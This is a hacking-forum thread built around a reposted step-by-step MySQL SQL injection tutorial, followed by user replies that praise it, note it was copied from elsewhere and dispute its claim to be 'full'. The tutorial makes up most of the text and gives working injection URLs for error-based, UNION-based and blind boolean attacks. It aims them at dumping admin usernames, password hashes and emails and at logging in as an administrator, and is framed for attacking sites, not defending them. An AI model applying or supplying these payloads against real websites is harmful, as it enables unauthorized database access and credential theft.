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 ?Full SQL Injection Tutorial (In this tutorial i will describe how sql injection works and how to
 use it to get some useful information.
 
 First of all: What is SQL injection?
 It’s one of the most common vulnerability in web applications today.
 It allows attacker to execute database query in url and gain access
 to some confidential information etc…(in shortly).
 
 1.SQL Injection (classic or error based or whatever you call it) 
 2.Blind SQL Injection (the harder part)
 
 So let’s start with some action 
 
 1). Check for vulnerability
 Let’s say that we have some site like this
 http://www.site.com/news.php?id=5
 Now to test if is vulrnable we add to the end of url ‘ (quote),
 and that would be http://www.site.com/news.php?id=5´
 so if we get some error like
 “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right etc…”
 or something similar
 that means is vulrnable to sql injection 
 
 2). Find the number of columns
 To find number of columns we use statement ORDER BY (tells database how to order the result)
 so how to use it? Well just incrementing the number until we get an error.
 http://www.site.com/news.php?id=5 order by 1/* <– no error
 http://www.site.com/news.php?id=5 order by 2/* <– no error
 http://www.site.com/news.php?id=5 order by 3/* <– no error
 http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this Unknown
column ‘4´ in ‘order clause’ or something like that)
 that means that the it has 3 columns, cause we got an error on 4.
 
 3). Check for UNION function
 With union we can select more data in one sql statement.
 so we have
 http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of
columns are 3 in section 2). )
 if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works 
 
 4). Check for MySQL version
 http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some
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error, then try –
 it’s a comment and it’s important for our query to work properly.
 let say that we have number 2 on the screen, now to check for version
 we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or
similar.
 it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
 if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
 i didn’t see any paper covering this problem, so i must write it 
 what we need is convert() function
 i.e.
 http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
 or with hex() and unhex()
 i.e.
 http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
 and you will get MySQL version 
 
 5). Getting table and column name
 well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5
version.
 we must guess table and column name in most cases.
 common table names are: user/s, admin/s, member/s …
 common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…
 i.e would be
 http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the
screen like before, and that’s good :D)
 we know that table admin exists…
 now to check column names.
 http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error,
then try the other column name)
 we get username displayed on screen, example would be admin, or superadmin etc…
 now to check if column password exists
 http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error,
then try the other column name)
 we seen password on the screen in hash or plain-text, it depends of how the database is set up 
 i.e md5 hash, mysql hash, sha1…
 now we must complete query to look nice 
 for that we can use concat() function (it joins strings)
 i.e
 http://www.site.com/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from
admin/*
 Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
 (there is another way for that, char(58), ascii value for : )
 http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from
admin/*
 now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
 when you have this, you can login like admin or some superuse
 
 if can’t guess the right table name, you can always try mysql.user (default)
 it has user i password columns, so example would be
 http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from
mysql.user/*
 
 6). MySQL 5
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 Like i said before i’m gonna explain how to get table and column names
 in MySQL > 5.
 For this we need information_schema. It holds all tables and columns in database.
 to get tables we use table_name and information_schema.tables.
 i.e
 http://www.site.com/news.php?id=5 union all select 1,table_name,3 from
information_schema.tables/*
 here we replace the our number 2 with table_name to get the first table from
information_schema.tables
 displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
 i.e
 http://www.site.com/news.php?id=5 union all select 1,table_name,3 from
information_schema.tables limit 0,1/*
 note that i put 0,1 (get 1 result starting from the 0th)
 now to view the second table, we change limit 0,1 to limit 1,1
 i.e
 http://www.site.com/news.php?id=5 union all select 1,table_name,3 from
information_schema.tables limit 1,1/*
 the second table is displayed.
 for third table we put limit 2,1
 i.e
 http://www.site.com/news.php?id=5 union all select 1,table_name,3 from
information_schema.tables limit 2,1/*
 keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc… 
 To get the column names the method is the same.
 here we use column_name and information_schema.columns
 the method is same as above so example would be
 http://www.site.com/news.php?id=5 union all select 1,column_name,3 from
information_schema.columns limit 0,1/*
 the first column is diplayed.
 the second one (we change limit 0,1 to limit 1,1)
 ie.
 http://www.site.com/news.php?id=5 union all select 1,column_name,3 from
information_schema.columns limit 1,1/*
 the second column is displayed, so keep incrementing until you get something like
 username,user,login, password, pass, passwd etc… 
 if you wanna display column names for specific table use this query. (where clause)
 let’s say that we found table users.
 i.e
 http://www.site.com/news.php?id=5 union all select 1,column_name,3 from
information_schema.columns where table_name=’users’/*
 now we get displayed column name in table users. Just using LIMIT we can list all columns in table
users.
 Note that this won’t work if the magic quotes is ON.
 let’s say that we found colums user, pass and email.
 now to complete query to put them all togethe
 
 for that we use concat() , i decribe it earlier.
 i.e
 http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,pass,0×3a,email) from
users/*
 what we get here is user:pass:email from table users.
 example: admin:hash:whatever@blabla.com
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 That’s all in this part, now we can proceed on harder part 
 
 2. Blind SQL Injection
 Blind injection is a little more complicated the classic injection but it can be done. 
 Let’s start with advanced stuff.
 I will be using our example
 http://www.site.com/news.php?id=5
 when we execute this, we see some page and articles on that page, pictures etc…
 then when we want to test it for blind sql injection attack
 http://www.site.com/news.php?id=5 and 1=1 <— this is always true
 and the page loads normally, that’s ok.
 now the real test
 http://www.site.com/news.php?id=5 and 1=2 <— this is false
 so if some text, picture or some content is missing on returned page then that site is vulrnable to
blind sql injection.
 
 1) Get the MySQL version
 to get the version in blind attack we use substring
 i.e
 
 http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
 
 this should return TRUE if the version of MySQL is 4.
 
 replace 4 with 5, and if query return TRUE then the version is 5.
 
 i.e
 
 http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
 
 2) Test if subselect works
 when select don’t work then we use subselect
 i.e
 http://www.site.com/news.php?id=5 and (select 1)=1
 if page loads normally then subselects work.
 then we gonna see if we have access to mysql.user
 i.e
 http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
 if page loads normally we have access to mysql.user and then later we can pull some password
usign load_file() function and OUTFILE.
 
 3). Check table and column names
 This is part when guessing is the best friend 
 i.e.
 http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query
here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
 then if the page loads normally without content missing, the table users exits.
 if you get FALSE (some article missing), just change table name until you guess the right one 
 let’s say that we have found that table name is users, now what we need is column name.
 the same as table name, we start guessing. Like i said before try the common names for columns.
 i.e
 http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit
0,1)=1
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 if the page loads normally we know that column name is password (if we get false then try common
names or just guess)
 here we merge 1 with the column password, then substring returns the first character (,1,1)
 
 4). Pull data from database
 we found table users i columns username password so we gonna pull characters from that.
 http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0×3a,password) from users limit 0,1),1,1))>80
 ok this here pulls the first character from first user in table users.
 substring here returns first character and 1 character in length. ascii() converts that 1 character into
ascii value
 and then compare it with simbol greater then > .
 so if the ascii char greater then 80, the page loads normally. (TRUE)
 we keep trying until we get false.
 http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0×3a,password) from users limit 0,1),1,1))>95
 we get TRUE, keep incrementing
 http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0×3a,password) from users limit 0,1),1,1))>98
 TRUE again, higher
 http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0×3a,password) from users limit 0,1),1,1))>99
 FALSE!!!
 so the first character in username is char(99). Using the ascii converter we know that char(99) is
letter ‘c’.
 then let’s check the second character.
 http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0×3a,password) from users limit 0,1),2,1))>99
 Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character,
1 character in lenght)
 http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0×3a,password) from users limit 0,1),1,1))>99
 TRUE, the page loads normally, higher.
 http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0×3a,password) from users limit 0,1),1,1))>107
 FALSE, lower number.
 http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0×3a,password) from users limit 0,1),1,1))>104
 TRUE, higher.
 http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0×3a,password) from users limit 0,1),1,1))>105
 FALSE!!!
 we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far
 so keep incrementing until you get the end. (when >0 returns false we know that we have reach the
end).
 Ps:this took me a long time to do this tutorial i need to sleep    I HOPE YOU LIKE IT:)  mm donuts?
this tutorial is fromhttp://thehackerlounge.blogspot.com/2009/05/full-sql-injection-tutorial-mysql.html
creedits from those

stdape2011 - December 3, 2011, 12:48 pm 
good tutorial but its copied from another source , seen this myself

NUFC - December 3, 2011, 12:50 pm 
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It looks familiar to this:
 
 http://www.andhrahackers.com/forum/sql-injection/mysql-injection-tutorial/ 

Mimix - December 3, 2011, 12:51 pm 
if you look a the way down you will see it is from another source

stdape2011 - December 3, 2011, 12:52 pm 
might have been this one, do not have right computer to check my links lol
 
 http://www.yousaytoo.com/blind-sqli-tutorial/1220999
 
 oh yes i missed link at bottom. credits to writer

Zhen. - December 3, 2011, 1:46 pm 
Copied a bit.
 I'm gonna give it a read

darkfire - November 28, 2013, 12:45 am 
nice tutorial for blind sql injection..nice work.tnx for sharing :)

Sister Mary - November 28, 2013, 12:58 am 
Nice tutorial man. But you could have added coloring and cool effects or something.
 Because as of now, it just looks like a big wall of text. No one enjoys reading those.

niqscan - November 28, 2013, 10:33 am 
very nice tutorial but blind is slowwww , makes me crazy

lolloz - November 28, 2013, 6:28 pm 
great tutorial i liked it ,thanks!!

133720 - November 29, 2013, 6:34 pm 
Low Quality post.
 but love your sharing mine.

PouZ - November 29, 2013, 6:38 pm 
Very nice, easy and helpful tutorial. Maybe do some [ spoiler ]'s on some places to make it easier?
:p

boy rteis - July 21, 2019, 7:01 pm 
 (Dec 3, 2011 02:46 PM)Zhen. Wrote: [CITE] Copied a bit.
 I'm gonna give it a read
 
 I need your help, PM me, because I am a new member, can not reply to you, please leave your
contact information

tyrla4eto - July 29, 2019, 5:44 am 
Very helpful tutorial. Thanks man! I really needed that..

sinister geek - August 2, 2019, 4:49 am 
Really enjoyed it!!Keep it up!! Sometimes joggling your mind is important!!

BlackRose83 - August 3, 2019, 1:46 pm 
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nice work regards mate for your work

f1re_w1re - August 4, 2019, 2:15 pm 
Not bad, but dont say it's a "full" SQLi guide; that is far from the truth given how many injection
techniques are out there and you barely scratched the surface.

Mimix - August 11, 2019, 6:45 am 
 (Aug 4, 2019 02:15 PM)f1re_w1re Wrote: [CITE] Not bad, but dont say it's a "full" SQLi guide; that is
far from the truth given how many injection techniques are out there and you barely scratched the
surface.
 Sounds as a fair deal, there is several sql injection techniques. However please note the date
"2011", during the writing of the thread and post of the following thread. more learning and more
contribution was at my mind. What you are stating is obvious, but during that time, there was more
of a defined literal in the form of linguistics. 
 
 SQLI = Non-boolean based sql injection
 Blind SQLI = Boolean based
 
 Hope this clarifies further.
 
 
 Kind Regards.

f1re_w1re - August 11, 2019, 11:13 am 
 (Aug 11, 2019 06:45 AM)Mimix Wrote: [CITE] Sounds as a fair deal, there is several sql injection
techniques. However please note the date "2011", during the writing of the thread and post of the
following thread. more learning and more contribution was at my mind. What you are stating is
obvious, but during that time, there was more of a defined literal in the form of linguistics. 
 
 SQLI = Non-boolean based sql injection
 Blind SQLI = Boolean based
 
 Hope this clarifies further.
 
 
 Kind Regards.Crap, I didnt even notice the date of this thread lol Totally missed it, that said, i agree
with you!
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